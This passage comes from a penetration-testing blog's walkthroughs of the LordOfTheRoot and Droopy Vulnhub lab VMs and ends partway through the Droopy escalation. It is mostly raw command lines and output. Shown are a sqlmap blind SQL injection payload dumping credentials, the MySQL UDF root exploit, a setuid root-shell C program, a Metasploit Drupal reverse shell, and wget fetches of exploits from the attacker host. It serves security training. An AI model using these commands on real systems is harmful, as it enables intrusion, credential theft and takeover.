[05:35:46] [INFO] testing connection to the target URL
[05:35:46] [INFO] heuristics detected web page charset 'ascii'
[05:35:46] [INFO] searching for forms
[#1] form:
POST http://192.168.56.101:1337/978345210/index.php
POST data: username=&password=&submit=%20Login%20
do you want to test this form? [Y/n/q] 
> Y
Edit POST data [default: username=&password=&submit=%20Login%20] (Warning: blank fields detected): 
do you want to fill blank fields with random values? [Y/n] Y
it appears that provided value for POST parameter 'submit' has boundaries. Do you want to inject inside? (' Login* ') [y/N] N
[05:36:02] [INFO] resuming back-end DBMS 'mysql' 
[05:36:02] [INFO] using '/root/.sqlmap/output/results-12122016_0536am.csv' as the CSV results file in multiple targets mode
[05:36:02] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
 Type: AND/OR time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind
 Payload: username=bczG&password='||(SELECT 'LJkm' FROM DUAL WHERE 1175=1175 AND SLEEP(5))||'&submit= Login
---
do you want to exploit this SQL injection? [Y/n] Y
[05:36:07] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
[05:36:07] [INFO] fetching tables for database: 'Webapp'
[05:36:07] [INFO] fetching number of tables for database 'Webapp'
[05:36:07] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) 
[05:36:10] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
1
[05:36:59] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) 
[05:37:51] [INFO] adjusting time delay to 1 second due to good response times
Users
Database: Webapp
[1 table]
+-------+
| Users |
+-------+

[05:38:59] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.sqlmap/output/results-12122016_0536am.csv'

[*] shutting down at 05:38:59

Here, a small tip : we can restrict our enumeration to MySQL or any other database once we find out which databse the underlying system is using. For doing so we need to use following option.

--dbms ==DBMS --> force back-end DBMS to this value

So as we can see in the output, there is only one table present in Webapp database. Lets try and find out the columns in that “Users”  table.

root@kali:~/Downloads# sqlmap -o -u "http://192.168.56.101:1337/978345210/index.php" --forms -D Webapp -T Users --columns 
 ___
 __H__
 ___ ___[,]_____ ___ ___ {1.0.12#stable}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
 |_|V |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 05:58:03

[05:58:03] [INFO] testing connection to the target URL
[05:58:04] [INFO] heuristics detected web page charset 'ascii'
[05:58:04] [INFO] searching for forms
[#1] form:
POST http://192.168.56.101:1337/978345210/index.php
POST data: username=&password=&submit=%20Login%20
do you want to test this form? [Y/n/q] 
> Y
Edit POST data [default: username=&password=&submit=%20Login%20] (Warning: blank fields detected): 
do you want to fill blank fields with random values? [Y/n] Y
it appears that provided value for POST parameter 'submit' has boundaries. Do you want to inject inside? (' Login* ') [y/N] N
[05:58:18] [INFO] resuming back-end DBMS 'mysql' 
[05:58:18] [INFO] using '/root/.sqlmap/output/results-12122016_0558am.csv' as the CSV results file in multiple targets mode
[05:58:18] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
 Type: AND/OR time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind
 Payload: username=bczG&password='||(SELECT 'LJkm' FROM DUAL WHERE 1175=1175 AND SLEEP(5))||'&submit= Login
---
do you want to exploit this SQL injection? [Y/n] Y
[05:58:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
[05:58:21] [INFO] fetching columns for table 'Users' in database 'Webapp'
[05:58:22] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) 
[05:58:25] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[06:12:44] [INFO] adjusting time delay to 2 seconds due to good response times
3
[06:12:45] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) 
[06:13:17] [INFO] adjusting time delay to 1 second due to good response times
id
[06:13:34] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) 
int(10)
[06:15:40] [INFO] retrieved: username
[06:17:33] [INFO] retrieved: varchar(255)
[06:20:39] [INFO] retrieved: password
[06:22:57] [INFO] retrieved: varchar(255)
Database: Webapp
Table: Users
[3 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(10) |
| password | varchar(255) |
| username | varchar(255) |
+----------+--------------+

[06:26:03] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.sqlmap/output/results-12122016_0558am.csv'

[*] shutting down at 06:26:03

I found three columns in Users table so lets try and dump the content from those columns using following command

root@kali:~/Downloads# sqlmap -o -u "http://192.168.56.101:1337/978345210/index.php" --forms -D Webapp -T Users -C username --dump
 ___
 __H__
 ___ ___[.]_____ ___ ___ {1.0.12#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
 |_|V |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 08:34:49

[08:34:49] [INFO] testing connection to the target URL
[08:34:49] [INFO] heuristics detected web page charset 'ascii'
[08:34:50] [INFO] searching for forms
[#1] form:
POST http://192.168.56.101:1337/978345210/index.php
POST data: username=&password=&submit=%20Login%20
do you want to test this form? [Y/n/q] 
> Y
Edit POST data [default: username=&password=&submit=%20Login%20] (Warning: blank fields detected): 
do you want to fill blank fields with random values? [Y/n] Y
it appears that provided value for POST parameter 'submit' has boundaries. Do you want to inject inside? (' Login* ') [y/N] N
[08:35:19] [INFO] resuming back-end DBMS 'mysql' 
[08:35:19] [INFO] using '/root/.sqlmap/output/results-12122016_0835am.csv' as the CSV results file in multiple targets mode
[08:35:19] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
 Type: AND/OR time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind
 Payload: username=bczG&password='||(SELECT 'LJkm' FROM DUAL WHERE 1175=1175 AND SLEEP(5))||'&submit= Login
---
do you want to exploit this SQL injection? [Y/n] Y
[08:37:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
[08:37:58] [INFO] fetching entries of column(s) 'username' for table 'Users' in database 'Webapp'
[08:37:58] [INFO] fetching number of column(s) 'username' entries for table 'Users' in database 'Webapp'
[08:37:58] [INFO] resumed: 5
[08:37:58] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[10:24:11] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
a
[10:25:01] [INFO] adjusting time delay to 2 seconds due to good response times
ragorn
[10:27:54] [INFO] retrieved: frodo
[10:30:56] [INFO] retrieved: gimli
[10:33:28] [INFO] retrieved: legolas
[10:37:11] [INFO] retrieved: smeagol
[10:40:44] [INFO] analyzing table dump for possible password hashes
Database: Webapp
Table: Users
[5 entries]
+----------+
| username |
+----------+
| aragorn |
| frodo |
| gimli |
| legolas |
| smeagol |
+----------+

[10:40:44] [INFO] table 'Webapp.Users' dumped to CSV file '/root/.sqlmap/output/192.168.56.101/dump/Webapp/Users.csv'
[10:40:44] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.sqlmap/output/results-12122016_0835am.csv'

[*] shutting down at 10:40:44

Content from password column:

 root@kali:~/Downloads# sqlmap -o -u "http://192.168.56.101:1337/978345210/index.php" --forms -D Webapp -T Users -C password --dump
 ___
 __H__
 ___ ___[(]_____ ___ ___ {1.0.12#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
 |_|V |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 07:29:24

[07:29:24] [INFO] testing connection to the target URL
[07:29:24] [INFO] heuristics detected web page charset 'ascii'
[07:29:24] [INFO] searching for forms
[#1] form:
POST http://192.168.56.101:1337/978345210/index.php
POST data: username=&password=&submit=%20Login%20
do you want to test this form? [Y/n/q] 
> Y
Edit POST data [default: username=&password=&submit=%20Login%20] (Warning: blank fields detected): 
do you want to fill blank fields with random values? [Y/n] Y
it appears that provided value for POST parameter 'submit' has boundaries. Do you want to inject inside? (' Login* ') [y/N] N
[07:29:41] [INFO] resuming back-end DBMS 'mysql' 
[07:29:41] [INFO] using '/root/.sqlmap/output/results-12122016_0729am.csv' as the CSV results file in multiple targets mode
[07:29:41] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
 Type: AND/OR time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind
 Payload: username=bczG&password='||(SELECT 'LJkm' FROM DUAL WHERE 1175=1175 AND SLEEP(5))||'&submit= Login
---
do you want to exploit this SQL injection? [Y/n] Y
[07:29:44] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
[07:29:44] [INFO] fetching entries of column(s) 'password' for table 'Users' in database 'Webapp'
[07:29:44] [INFO] fetching number of column(s) 'password' entries for table 'Users' in database 'Webapp'
[07:29:45] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[07:52:42] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
5
[07:53:08] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) 
A
[07:54:25] [INFO] adjusting time delay to 1 second due to good response times
ndMyAxe
[07:56:39] [INFO] retrieved: AndMyBow
[07:59:17] [INFO] retrieved: AndMySword
[08:02:27] [INFO] retrieved: iwilltakethering
[08:06:39] [INFO] retrieved: MyPreciousR00t
[08:10:40] [INFO] analyzing table dump for possible password hashes
Database: Webapp
Table: Users
[5 entries]
+------------------+
| password |
+------------------+
| AndMyAxe |
| AndMyBow |
| AndMySword |
| iwilltakethering |
| MyPreciousR00t |
+------------------+

[08:10:40] [INFO] table 'Webapp.Users' dumped to CSV file '/root/.sqlmap/output/192.168.56.101/dump/Webapp/Users.csv'
[08:10:40] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.sqlmap/output/results-12122016_0729am.csv'

[*] shutting down at 08:10:40

Here is the important and arranged output from above dumps.

+----------+    +------------------+
| username |        | password |
+----------+    +------------------+
| aragorn |          | AndMyAxe |
| frodo |            | AndMyBow |
| gimli |            | AndMySword 
| legolas |          | iwilltakethering 
| smeagol |          | MyPreciousR00t |
+----------+    +------------------+

I tried all the user name and password on the Gates of Mordor web page but non of them worked. After some thought on this issue I tried these credentials on SSH service and viola, the last credential worked and i was on the system with smeagol’s privileges.
Now what? the obvious step was to escalate our privileges to root level since that was the ultimate goal.

The first step in linux privileges escalation was of system enumeration, while doing research I came across one excellent blog or rather I would say bible of privilege escalation written by G0tmi1k Basic Linux Privilege Escalation. I quickly googled a script for doing this enumeration since doing all this manually was a hectic process. I came across one nice script which I will be using here, its called linuxprivchecker.py.

I downloaded the script and transferred it to the html folder on my kali machine. Further I used wget command to transfer it to the vulnerable machine. Upon executing this script it gave out some interesting results. The good thing about this script is that along with the important info about this system this script also give out the possible exploit which can be looked and tested upon this system.

[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...

Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!

The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system
 - MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c

The following exploits are applicable to this kernel version and should be investigated as well
 - Kernel ia32syscall Emulation Privilege Escalation || http://www.exploit-db.com/exploits/15023 || Language=c
 - Sendpage Local Privilege Escalation || http://www.exploit-db.com/exploits/19933 || Language=ruby**
 - CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) || http://www.exploit-db.com/exploits/15944 || Language=c
 - CAP_SYS_ADMIN to root Exploit || http://www.exploit-db.com/exploits/15916 || Language=c
 - MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c
 - open-time Capability file_ns_capable() Privilege Escalation || http://www.exploit-db.com/exploits/25450 || Language=c
 - open-time Capability file_ns_capable() - Privilege Escalation Vulnerability || http://www.exploit-db.com/exploits/25307 || Language=c

Finished

Upon visiting the mysql exploit link, I was sure that this exploit is only possible if the mysql is running as root. I tried rechecking the output from LinuxPrivChecker to make sure that mysql is running as the root in order to use this exploit code. Simple trick to do that is as follows.

smeagol@LordOfTheRoot:~/Downloads$ python linuxprivchecker.py > output_linux
smeagol@LordOfTheRoot:~/Downloads$ cat output_linux | grep "mysql"
 -rw------- 1 smeagol smeagol 492 Jan 7 17:28 /home/smeagol/.mysql_history
 mysql:x:116:125:MySQL Server,,,:/nonexistent:/bin/false
 drwxr-s--- 2 mysql adm 4096 Jan 7 17:12 /var/log/mysql
 /etc/mysql/my.cnf:# It has been reported that passwords should be enclosed with ticks/quotes
 libdbd-mysql-perl 4.025-1 Perl5 database interface to the MySQL database
 libmysqlclient18:i386 5.5.44-0ubuntu0.14.04.1 MySQL database client library
 mysql-client-5.5 5.5.44-0ubuntu0.14.04.1 MySQL database client binaries
 mysql-client-core-5.5 5.5.44-0ubuntu0.14.04.1 MySQL database core client binaries
 mysql-common 5.5.44-0ubuntu0.14.04.1 MySQL database common files, e.g. /etc/mysql/my.cnf
 mysql-server 5.5.44-0ubuntu0.14.04.1 MySQL database server (metapackage depending on the latest version)
 mysql-server-5.5 5.5.44-0ubuntu0.14.04.1 MySQL database server binaries and system database setup
 mysql-server-core-5.5 5.5.44-0ubuntu0.14.04.1 MySQL database server binaries
 php5-mysql 5.5.9+dfsg-1ubuntu4.11 MySQL module for php5
 php5-mysqlnd 5.5.9+dfsg-1ubuntu4.11 MySQL module for php5 (Native Driver)
 root 1150 Jan07 0:47 /usr/sbin/mysqld
 root 1150 Jan07 0:47 /usr/sbin/mysqld

Now what we need to get myslq root password in order to use that exploit. Again, I tried using SQLmap to delve dipper into the mysql database for that I used the following command

Root@kali:~# sqlmap -u http://192.168.56.101:1337/978345210/index.php --forms --dbms=MySQL -D mysql -T user -C user,password --dump

Output:

Table: user
[5 entries]
+------------------+-------------------------------------------+
| user | password |
+------------------+-------------------------------------------+
| debian-sys-maint | *A55A9B9049F69BC2768C9284615361DFBD580B34 |
| root | *4DD56158ACDBA81BFE3FF9D3D7375231596CE10F |
| root | *4DD56158ACDBA81BFE3FF9D3D7375231596CE10F |
| root | *4DD56158ACDBA81BFE3FF9D3D7375231596CE10F |
| root | *4DD56158ACDBA81BFE3FF9D3D7375231596CE10F |
+------------------+-------------------------------------------+

[15:22:45] [INFO] table 'mysql.`user`' dumped to CSV file '/root/.sqlmap/output/192.168.56.101/dump/mysql/user.csv'
[15:22:45] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.sqlmap/output/results-01082017_0148pm.csv'

[*] shutting down at 15:22:45

Upon using online hash cracker I came to know that password is darkshadow.

Next step was to try out every single stepped explained in 1518.c exploit from exploit db, so I quickly used my shell access to login into MySQL as a root user by using the above password. First i tried compiling the C code.

root@kali $ gcc -g -c 1518.c
root@kali $ gcc -g -shared -W1,-soname,1518.so -o 1518.so 1518.o -lc
mysql> use mysql
Database changed

mysql> insert into mysql_exploit values (load_file('/home/smeagol/1518.so'));
Query OK, 1 row affected (0.00 sec)

mysql> select * from mysql_exploit into dumpfile '/usr/lib/mysql/plugin/1518.so';


mysql> create function do_system returns integer soname '1518.so'


mysql> select * from mysql.func;
+-----------+-----+---------+----------+
| name      | ret | dl      | type     |
+-----------+-----+---------+----------+
| do_system |   2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)


mysql> select do_system ('id> tmp/out; chown smeagol.smeagol /tmp/out');
+-----------------------------------------------------------+
| do_system ('id> tmp/out; chown smeagol.smeagol /tmp/out') |
+-----------------------------------------------------------+
|                                                         0 |
+-----------------------------------------------------------+

After executing the above command i tried checking out the /tmp/out file using cat command.

root@kali $ cat /tmp/out
uid=0(root) gid=0(root) groups=0(root),1(bin)

Command worked, we executed the command as a root user. but that wasn’t a complete root access so while doing some research i came across one blog which explained the above-mentioned exploit in detail.
I have explained the method to get the permanent root access over the system. The link for the blog can be found here: Blog.

This method follows the same concept but this time it compiles and sets SUID bit on the script which when run gives root shell access. Below is the C code which will be compiled.

# inlcude <stdio.h>
# inlcude <sys/types.h>
#include <unistd.h>
int main (void)
{
setuid (0); setgid(0); system ("/bin/bash"); 
}

Now in MySQL database we compile the code , set the SetUID attribute as root and execute the script.

mysql> select do_system ('gcc -o /home/smeagol/shell /home/smeagol/shell.c');
+------------------------------------------------------------------------+
| do_system ('gcc -o /home/smeagol/shell /home/smeagol/shell.c') |
+------------------------------------------------------------------------+
|                                                                      0 |
+------------------------------------------------------------------------+
1 row in set (1.42 sec)

mysql> select do_system('chmod u+s /home/smeagol/shell');
+------------------------------------------------+
| do_system('chmod u+s /home/smeagol/shell') |
+------------------------------------------------+
|                                              0 |
+------------------------------------------------+
1 row in set (0.00 sec)

mysql> exit
Bye
smeagol@LordOfTheRoot:~$ ./shell 
root@LordOfTheRoot:~#

There you go, we got the root shell. I quickly searched for the flag which was there in the /root folder and here is what it had to say.

root@LordOfTheRoot:~# cat /root/Flag.txt 
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

Takeaways:

  • Passion Patience and hard-work
  • Never give up.
  • Keep solving Vulnerable VMs 😛

Thanks a lot KookSec and Vulnhub for this VM!!

Bringing Droopy To Life

Hi there!!!
It was time to deal with Droopy VM hosted on Vulnhub. It was interesting in many ways and made me learn some important things. Here are the things I tried to get root on the VM. My attacker kali box was set to 192.168.56.102.

Once the VM is up and run the nmap scan on the subnet in which you have put the VM to identify its IP address.

root@kali:~# nmap -n -Pn -v 192.168.56.0/24

Starting Nmap 7.30 ( https://nmap.org ) at 2016-10-22 12:16 EDT
Initiating ARP Ping Scan at 12:16
Scanning 255 hosts [1 port/host]
Completed ARP Ping Scan at 12:16, 1.97s elapsed (255 total hosts)
Initiating SYN Stealth Scan at 12:16
Scanning 3 hosts [1000 ports/host]
Discovered open port 80/tcp on 192.168.56.104
Completed SYN Stealth Scan against 192.168.56.104 in 0.19s (2 hosts left)
Completed SYN Stealth Scan against 192.168.56.100 in 7.04s (1 host left)
Completed SYN Stealth Scan at 12:16, 7.14s elapsed (3000 total ports)
Nmap scan report for 192.168.56.104
Host is up, received arp-response (0.00047s latency).
Not shown: 999 closed ports
Reason: 999 resets
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:07:EC:AC (Oracle VirtualBox virtual NIC)

Initiating SYN Stealth Scan at 12:16
Scanning 192.168.56.102 [1000 ports]
Completed SYN Stealth Scan at 12:16, 0.06s elapsed (1000 total ports)
Read data files from: /usr/bin/../share/nmap
Nmap done: 256 IP addresses (3 hosts up) scanned in 9.51 seconds
           Raw packets sent: 6509 (278.268KB) | Rcvd: 3019 (124.776KB)
root@kali:~#

So, we now have our target’s IP Address and we see port 80 open on the target. Browsing through the site on port 80 reveals, what looks like a Drupal site.

1

Reading through the view-source of the page reveals a modules directory.

head profile="http://www.w3.org/1999/xhtml/vocab">
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="http://192.168.56.104/misc/favicon.ico" type="image/vnd.microsoft.icon" />
<meta name="Generator" content="Drupal 7 (http://drupal.org)" />
  <title>Welcome to La fraude fiscale des grandes sociétés | La fraude fiscale des grandes sociétés</title>
  <style type="text/css" media="all">@import url("http://192.168.56.104/modules/system/system.base.css?ngf65y");
@import url("http://192.168.56.104/modules/system/system.menus.css?ngf65y");
@import url("http://192.168.56.104/modules/system/system.messages.css?ngf65y");
@import url("http://192.168.56.104/modules/system/system.theme.css?ngf65y");</style
<style type="text/css" media="all">@import url("http://192.168.56.104/modules/comment/comment.css?ngf65y");

Browsing through the modules directory and than to blog directory shows some interesting files.

2

The blog.info file has contents shown below which reveals the Drupal version and update date.

name = Blog
description = Enables multi-user blogs.
package = Core
version = VERSION
core = 7.x
files[] = blog.test

; Information added by Drupal.org packaging script on 2014-07-24
version = "7.30"
project = "drupal"
datestamp = "1406239730"

With this information we now search to see if we can find some exploits related to this version of Drupal. The  search shows 4 SQLi vulnerabilities.

root@kali:~# searchsploit drupal 7.3
------------------------------------------------------------------------------------------------------------------ ----------------------------------
 Exploit Title                                                                                                    |  Path
                                                                                                                | (/usr/share/exploitdb/platforms)
------------------------------------------------------------------------------------------------------------------ ----------------------------------
Drupal 7.0 <= 7.31 - SQL Injection (SA-CORE-2014-005) (1)                                                         | ./php/webapps/34984.py
Drupal 7.0 <= 7.31 - SQL Injection (SA-CORE-2014-005) (2)                                                         | ./php/webapps/34992.txt
Drupal 7.32 - SQL Injection (PHP)                                                                                 | ./php/webapps/34993.php
Drupal < 7.32 - Unauthenticated SQL Injection                                                                     | ./php/webapps/35150.php
Drupal < 7.34 - Denial of Service                                                                                 | ./php/dos/35415.txt
------------------------------------------------------------------------------------------------------------------ ----------------------------------
root@kali:~#

I went on to start metasploit and search Drupal exploit. It reveals drupageddon exploit which perfectly match our needs.

msf > search drupal
[!] Module database cache not built yet, using slow search

Matching Modules
================
   Name                                           Disclosure Date  Rank       Description
   ----                                           ---------------  ----       -----------   auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Drupal OpenID External Entity Injection
   auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Drupal Views Module Users Enumeration
   exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  Drupal HTTP Parameter Key/Value SQL Injection
   exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Drupal CODER Module Remote Command Execution
   exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Drupal RESTWS Module Remote PHP Code Execution
   exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  PHP XML-RPC Arbitrary Code Execution

msf >

Let’s load the exploit and fire it on our target. We see that we have a meterpreter shell on port 443 as my payload was meterpreter/reverse_https.

msf > use exploit/multi/http/drupal_drupageddon
msf exploit(drupal_drupageddon) > set rhost 192.168.56.104
rhost => 192.168.56.104
msf exploit(drupal_drupageddon) > exploit

[*] [2016.10.23-01:49:27] Started reverse TCP handler on 192.168.56.102:443
[*] [2016.10.23-01:49:27] Testing page
[*] [2016.10.23-01:49:27] form_build_id: form-ssrGRu8SjQkDej4iMqKw1BWsjj80H-mRseruHJtmCAo
[*] [2016.10.23-01:49:27] form_token:
[*] [2016.10.23-01:49:27] password hash: $P\$8mXsPjjln6.vJI2.WUt/WaM5H7N0HC.
[*] [2016.10.23-01:49:27] Creating new user ZSXdhIILHk:JWVLiTuClN
[*] [2016.10.23-01:49:27] Logging in as ZSXdhIILHk:JWVLiTuClN
[*] [2016.10.23-01:49:27] cookie: SESS3eb28b0d019dcab2f9875b3202ac4a41=5ScHJZVRyRsyUICX-0wJvYLeV12HUwUD3YZ0Y59Cyj4;
[*] [2016.10.23-01:49:27] Trying to parse enabled modules
[*] [2016.10.23-01:49:28] form_build_id: form-eXbf0AjAoBl3w2xFBKqVBCt9G0nBPEHQw7DHYieB40U
[*] [2016.10.23-01:49:28] form_token: lmmJjwxJH5Yp6tsBVpQsTJ_NUYWyY8IlVxX1UAtfcrQ
[*] [2016.10.23-01:49:28] Enabling the PHP filter module
[*] [2016.10.23-01:49:30] Setting permissions for PHP filter module
[*] [2016.10.23-01:49:31] form_build_id: form-PDYNDiAC2NeE_Zg1uMNNM65C3E3wzlqsjSPFs0Yv3oA
[*] [2016.10.23-01:49:31] form_token: zV_dO-5bMCK-iakZRyIq6fVvO4sJnkZwFkcKefTJ0VU
[*] [2016.10.23-01:49:31] admin role id: 3
[*] [2016.10.23-01:49:31] Getting tokens from create new article page
[*] [2016.10.23-01:49:31] form_build_id: form-mDiJpvdoortY-e1GqzeFNvmpwJu9Co5MAs7AaKlJYy8
[*] [2016.10.23-01:49:31] form_token: QU7edfdjd6FOJo-CrYhw-skiIELvkMflDgS0r9RznDE
[*] [2016.10.23-01:49:31] Calling preview page. Exploit should trigger...
[*] [2016.10.23-01:49:31] Encoded stage with php/base64
[*] [2016.10.23-01:49:31] Sending encoded stage (45098 bytes) to 192.168.56.104
[*] Meterpreter session 1 opened (192.168.56.102:443 -> 192.168.56.104:59355) at 2016-10-23 01:49:33 -0400
[-] The 'stdapi' extension has already been loaded.

meterpreter >

We now execute the shell command to get remote shell and make it interactive using python one liner.

meterpreter > shell
Process 1176 created.
Channel 0 created.
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@droopy:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@droopy:/var/www/html$

Now it was time for some enumeration to escalate our privileges to root. Searching some usual locations for some clues, we find that we can read a mail for www-data user.

www-data@droopy:/var/www/html$ cat /var/mail/www-data
cat /var/mail/www-data
From Dave <dave@droopy.example.com> Wed Thu 14 Apr 04:34:39 2016
Date: 14 Apr 2016 04:34:39 +0100
From: Dave <dave@droopy.example.com>
Subject: rockyou with a nice hat!
Message-ID: <730262568@example.com>
X-IMAP: 0080081351 0000002016
Status: NN

George,

   I've updated the encrypted file... You didn't leave any
hints for me. The password isn't longer than 11 characters
and anyway, we know what academy we went to, don't you...?

I'm sure you'll figure it out it won't rockyou too much!

If you are still struggling, remember that song by The Jam

Later,
Dave
www-data@droopy:/var/www/html$

Interesting!! It reveals existence of an encrypted file which we will need to decrypt and proceed further. Having this info, I set myself to search this file but did not find anything interesting after some frustrating hours of search. I tried to search for string that may have following words to tried and locate the file – Dave, George, password etc. I also searched for recently update files and files edited on 14 Apr 2016 as the mail was sent on the same date.

I finally gave up on this course and started some more enumeration using a python script. I usually use this script to automate some of the enumeration process and save time.
After downloading the script on my system and than on to the target, I ran the python script.

www-data@droopy:/var/www/html$ cd /tmp/
cd /tmp/
www-data@droopy:/tmp$ wget http://192.168.56.102:8000/lpe.py
wget http://192.168.56.102:8000/lpe.py
--2016-10-23 12:38:39--  http://192.168.56.102:8000/lpe.py
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25304 (25K) [text/plain]
Saving to: 'lpe.py'

100%[======================================>] 25,304      --.-K/s   in 0.03s  

2016-10-23 12:38:39 (721 KB/s) - 'lpe.py' saved [25304/25304]

www-data@droopy:/tmp$ python lpe.py > lpe.txt
python lpe.py > lpe.txt
www-data@droopy:/tmp$

It did not reveal anything interesting other than an older kernel version which you can get using the below command.

www-data@droopy:/tmp$ uname -a
uname -a
Linux droopy 3.13.0-43-generic #72-Ubuntu SMP Mon Dec 8 19:35:06 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
www-data@droopy:/tmp$

I started googling for some exploit for this kernel and download the 64 bit exploit from this location. I compiled the exploit on my kali VM and downloaded it to the target machine and ran the exploit only to see it fail :(.

www-data@droopy:/tmp$ wget http://192.168.56.102:8000/ofc_64
wget http://192.168.56.102:8000/ofc_64
--2016-10-23 12:47:07--  http://192.168.56.102:8000/ofc_64
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12036 (12K) [application/octet-stream]
Saving to: 'ofc_64'

100%[======================================>] 12,036      --.-K/s   in 0s     

2016-10-23 12:47:07 (48.9 MB/s) - 'ofc_64' saved [12036/12036]

www-data@droopy:/tmp$ chmod +x ofc_64
chmod +x ofc_64
www-data@droopy:/tmp$ ls -l
ls -l
total 116
-rw-r--r-- 1 www-data www-data 25304 Oct 16 11:20 lpe.py
-rw-r--r-- 1 www-data www-data 75868 Oct 23 12:39 lpe.txt
-rwxr-xr-x 1 www-data www-data 12036 Oct 16 10:33 ofc_64
www-data@droopy:/tmp$ ./ofc_64
./ofc_64
bash: ./ofc_64: No such file or directory
www-data@droopy:/tmp$

At this time I had no idea what I should be doing next. After some breaks and some thinking on this I realized the mistake that I had made. I had compiled and the program on kali VM instead of the target which may have been the reason for its failure. So, I went back to download the source on target and compile it there and run and finally I had the root shell :).

www-data@droopy:/tmp$ wget http://192.168.56.102:8000/ofc_64.c
wget http://192.168.56.102:8000/ofc_64.c
--2016-10-23 12:51:43--  http://192.168.56.102:8000/ofc_64.c
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5123 (5.0K) [text/plain]
Saving to: 'ofc_64.c'

100%[======================================>] 5,123       --.-K/s   in 0.07s  

2016-10-23 12:51:43 (74.8 KB/s) - 'ofc_64.c' saved [5123/5123]

www-data@droopy:/tmp$ gcc ofc_64.c -o ofc_64
gcc ofc_64.c -o ofc_64
www-data@droopy:/tmp$ ls -l
ls -l
total 128
-rw-r--r-- 1 www-data www-data 25304 Oct 16 11:20 lpe.py
